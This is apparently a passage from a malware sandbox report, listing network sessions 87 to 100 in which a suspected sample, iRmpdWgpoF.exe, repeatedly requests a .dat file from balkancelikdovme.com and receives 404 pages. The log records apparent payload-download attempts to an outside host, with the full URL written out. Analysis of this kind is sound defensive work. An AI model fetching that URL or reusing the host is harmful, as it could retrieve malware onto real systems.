2025-01-10 21:38:32 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49963	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:33 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:33 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:33 GMT vary: User-Agent
2025-01-10 21:38:33 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49969	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:33 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:34 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:34 GMT vary: User-Agent
2025-01-10 21:38:34 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49975	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:34 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:35 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:34 GMT vary: User-Agent
2025-01-10 21:38:35 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49982	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:35 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:35 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:35 GMT vary: User-Agent
2025-01-10 21:38:35 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49988	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:36 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:36 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:36 GMT vary: User-Agent
2025-01-10 21:38:36 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49994	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:37 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:37 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:37 GMT vary: User-Agent
2025-01-10 21:38:37 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50004	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:38 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:38 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:38 GMT vary: User-Agent
2025-01-10 21:38:38 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50009	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:39 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:39 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:39 GMT vary: User-Agent
2025-01-10 21:38:39 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50015	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:40 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:40 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:40 GMT vary: User-Agent
2025-01-10 21:38:40 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50022	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:41 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:41 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:41 GMT vary: User-Agent
2025-01-10 21:38:41 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50029	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:41 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:42 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:42 GMT vary: User-Agent
2025-01-10 21:38:42 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50035	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:42 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:43 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:42 GMT vary: User-Agent
2025-01-10 21:38:43 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50042	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:43 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:43 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:43 GMT vary: User-Agent
2025-01-10 21:38:43 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50050	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:44 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:44 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:44 GMT vary: User-Agent
